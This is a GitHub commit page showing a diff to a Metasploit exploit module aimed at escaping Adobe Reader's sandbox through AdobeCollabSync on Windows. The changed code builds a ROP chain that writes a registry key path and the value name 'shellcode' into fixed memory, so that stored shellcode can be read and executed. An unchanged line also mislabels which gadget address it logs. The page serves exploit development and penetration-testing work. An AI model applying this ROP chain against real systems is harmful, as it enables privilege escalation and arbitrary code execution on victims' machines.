Skip to content

Commit 53cb493

Browse files
author
jvazquez-r7
committed
Fix @jlee-r7's feedback
1 parent 85ceaa1 commit 53cb493

File tree

1 file changed

+18
-23
lines changed

1 file changed

+18
-23
lines changed

modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb

Lines changed: 18 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -185,6 +185,19 @@ def search_gadgets
185185
vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop ecx # ret'].to_s(16)}")
186186
end
187187

188+
def store(buf, data, address)
189+
i = 0
190+
while (i < data.length)
191+
buf << [@gadgets['pop edi # ret']].pack("V")
192+
buf << [address + i].pack("V") # edi
193+
buf << [@gadgets['pop ecx # ret']].pack("V")
194+
buf << data[i, 4].ljust(4,"\x00") # ecx
195+
buf << [@gadgets['mov [edi], ecx # ret']].pack("V")
196+
i = i + 4
197+
end
198+
return i
199+
end
200+
188201
def create_rop_chain
189202
mem = 0x0c0c0c0c
190203

@@ -210,31 +223,13 @@ def create_rop_chain
210223

211224
# Put in the allocated memory the necessary data in order to read the
212225
# shellcode stored in the registry
213-
# The reg sub key: Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions
214-
# The reg entry: shellcode
215-
# The output buffer size: 0x3000
226+
# 1) The reg sub key: Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions
216227
reg_key = "Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\x00"
217-
j = 0
218-
while (j < reg_key.length)
219-
buf << [@gadgets['pop edi # ret']].pack("V")
220-
buf << [mem + j].pack("V") # edi
221-
buf << [@gadgets['pop ecx # ret']].pack("V")
222-
buf << reg_key[j, 4].ljust(4,"\x00") # ecx
223-
buf << [@gadgets['mov [edi], ecx # ret']].pack("V")
224-
j = j + 4
225-
end
226-
k = j
228+
reg_key_length = store(buf, reg_key, mem)
229+
# 2) The reg entry: shellcode
227230
value_key = "shellcode\x00"
228-
j = 0
229-
while (j < value_key.length)
230-
buf << [@gadgets['pop edi # ret']].pack("V")
231-
buf << [mem + k + j].pack("V") # edi
232-
buf << [@gadgets['pop ecx # ret']].pack("V")
233-
buf << value_key[j, 4].ljust(4,"\x00") # ecx
234-
buf << [@gadgets['mov [edi], ecx # ret']].pack("V")
235-
j = j + 4
236-
end
237-
231+
store(buf, value_key, mem + reg_key_length)
232+
# 3) The output buffer size: 0x3000
238233
size_buffer = 0x3000
239234
buf << [@gadgets['pop edi # ret']].pack("V")
240235
buf << [mem + 0x50].pack("V") # edi

0 commit comments

Comments
 (0)